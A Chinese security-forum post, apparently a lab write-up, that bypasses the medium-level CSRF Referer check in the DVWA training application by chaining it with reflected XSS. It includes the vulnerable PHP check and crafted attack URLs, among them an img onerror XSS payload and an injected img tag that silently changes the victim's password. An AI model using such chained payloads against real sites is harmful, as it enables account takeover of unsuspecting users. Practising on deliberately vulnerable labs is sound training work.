首页
社区
课程
招聘
[原创]CSRF+XSS突破DVWA靶场中等安全防护
发表于: 2020-11-4 23:14 960

[原创]CSRF+XSS突破DVWA靶场中等安全防护

2020-11-4 23:14
960

在DVWA靶场突破CSRF中级防护要比初级防护难得多。在中级防护下,服务端对以GET方式提交的参数处理之前,首先进行Referer验证,保证链接来自于可信的域。
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
在这种防护下,直接采用突破初级防护的方式,即直接在URL栏中输入链接http://192.168.235.128/DVWA/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#已经不起作用。通过使用burp拦截URL提交过程可以看到,直接在URL栏中输入链接的方式,提交给服务器的http头中缺少Referer:

导致服务端调用stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) 返回false,后续修改密码的操作无法执行。那么怎么突破呢?既然服务器端有Referer验证,那么考虑在http请求中增加Referer字段。通过burp 拦截http请求,增加Referer头:

重新发送链接,密码成功修改:

以上验证了该思路突破服务端验证机制的可行性。实际中,需要用户点击来历不明的链接以达到悄悄修改密码的目的,需要更加实用的突破方式,即在不使用代理的情况下,如何增加Referer头?
上面通过代理增加Referer头,实际上当我们从一个页面访问另一个页面时,http请求中会自动增加Referer字段,那么我们能不能用两个在同一域上的页面按照一定的访问次序来达到突破Referer验证的目的?比如,我们访问一个同一域上有xss漏洞的页面,在访问请求url中注入代码,注入的代码中含有对csrf漏洞页面的访问,那么在访问csrf漏洞页面时,由于是从同一域上含有xss的页面中跳转而来,那么http请求头中自然含有Referer字段,而且是同一个域,那么自然就突破了服务端对Referer的验证。
访问含有xss漏洞的页面的URL:http://192.168.235.128/DVWA/vulnerabilities/xss_r/?name=heel<img %20src=1%20onerror=alert("xss")%20/>
目的页面URL:
http://192.168.235.128/DVWA/vulnerabilities/csrf/?
password_new=2&password_conf=2&Change=Change#
构建一个新的URL:
http://192.168.235.128/DVWA/vulnerabilities/xss_r/?name=hee</pre><img src=="http://192.168.235.128/DVWA/vulnerabilities/csrf/?password_new=3&password_conf=3&Change=Change"><pre>
其中的</pre>、<pre>为了闭合前面的<pre>与</pre>。
使用burp拦截,服务器返回响应如下:

<pre>Hello hee </pre><img src="http://192.168.235.128/DVWA/vulnerabilities/csrf/?password_new=3</pre>
可以看到,password_new=3&password_conf=3&Change=Change已经被截取,只保留第一部分。
对&和#分别用%26、%23进行URL编码,构建链接
http://192.168.235.128/DVWA/vulnerabilities/xss_r/?name=hee
%20</pre>img%20src="http://192.168.235.128/DVWA/vulnerabilities/csrf/?password_new=3%26password_conf=3%26Change=Change%23"<pre>
得到响应<pre>Hello hee </pre><img src="http://192.168.235.128/DVWA/vulnerabilities/csrf/?password_new=3&password_conf=3&Change=Change#"><pre></pre>,如图:

推测链接http://192.168.235.128/DVWA/vulnerabilities/csrf/?password_new=3&password_conf=3&Change=Change#应该成功发起了访问请求,密码得到了修改。

将链接中设置为密码3,重新访问,然后退出系统,使用新密码可以成功登录。将链接中的密码改成你想要的密码,可以实现密码自动修改。

以上针对服务端的验证机制,采用xss与csrf漏洞相结合的思路突破了服务端通过检测Referer判断url请求是否来自信任域的保护机制。实际中一个漏洞的作用有限,往往需要利用多个漏洞才能达到突破系统的目的。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-11-5 00:01 被dolphindiv编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//